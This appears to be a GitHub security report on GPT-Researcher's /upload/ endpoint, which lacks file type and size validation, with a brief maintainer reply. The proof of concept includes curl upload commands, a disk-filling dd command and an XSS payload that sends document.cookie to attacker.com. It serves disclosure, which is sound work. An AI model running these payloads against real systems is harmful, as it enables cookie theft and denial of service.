GPT-Researcher File Upload Vulnerability Summary

[StephenQSstarThomas]

Issue

GPT-Researcher's file upload endpoint (POST /upload/) accepts arbitrary file types without validation or size limits, immediately processing uploaded documents through unstructured library without sandboxing, enabling DoS attacks, malware storage, and potential exploitation of document parsing vulnerabilities.

Vulnerable Code

Location: backend/server/server_utils.py:236-245

async def handle_file_upload(file, DOC_PATH: str) -> Dict[str, str]:
    file_path = os.path.join(DOC_PATH, os.path.basename(file.filename))
    with open(file_path, "wb") as buffer:
        shutil.copyfileobj(file.file, buffer)  # ← No validation, no size limit

    document_loader = DocumentLoader(DOC_PATH)  # ← Processes ALL files
    await document_loader.load()  # ← Immediate unsafe processing

    return {"filename": file.filename, "path": file_path}

Proof of Concept

# 1. Upload arbitrary file type (shell script)
echo '#!/bin/bash\necho "malicious"' > malware.sh
curl -X POST -F "file=@malware.sh" http://localhost:8009/upload/
# Result: Accepted without validation

# 2. Upload large file (DoS)
dd if=/dev/zero of=huge.pdf bs=1M count=1000
curl -X POST -F "file=@huge.pdf" http://localhost:8009/upload/
# Result: Accepted, causes disk/memory exhaustion

# 3. Upload malicious HTML
cat > xss.html << 'EOF'
<script>fetch('http://attacker.com/steal?data='+document.cookie)</script>
EOF
curl -X POST -F "file=@xss.html" http://localhost:8009/upload/
# Result: Stored and parsed by BSHTMLLoader

Execution Demo

curl -F "file=@malware.sh" http://localhost:8009/upload/
curl -F "file=@backdoor.exe" http://localhost:8009/upload/

curl -F "file=@webshell.php" http://localhost:8009/upload/
curl -F "file=@exploit.py" http://localhost:8009/upload/

dd if=/dev/zero of=huge.pdf bs=1G count=1
curl -F "file=@huge.pdf" http://localhost:8009/upload/

curl -F "file=@anything.xyz" http://localhost:8009/upload/

Impact

Issue	Severity	Exploitable
No file type validation	HIGH	Yes
No size limits	MEDIUM	Yes
Unsafe document processing	MEDIUM	Yes

Mitigations Found

• XXE (XML External Entity) - Mitigated by XML parser

[assafelovic]

Thanks, to clarify - the backend is not recommended for production, but mostly to demonstrate capabilities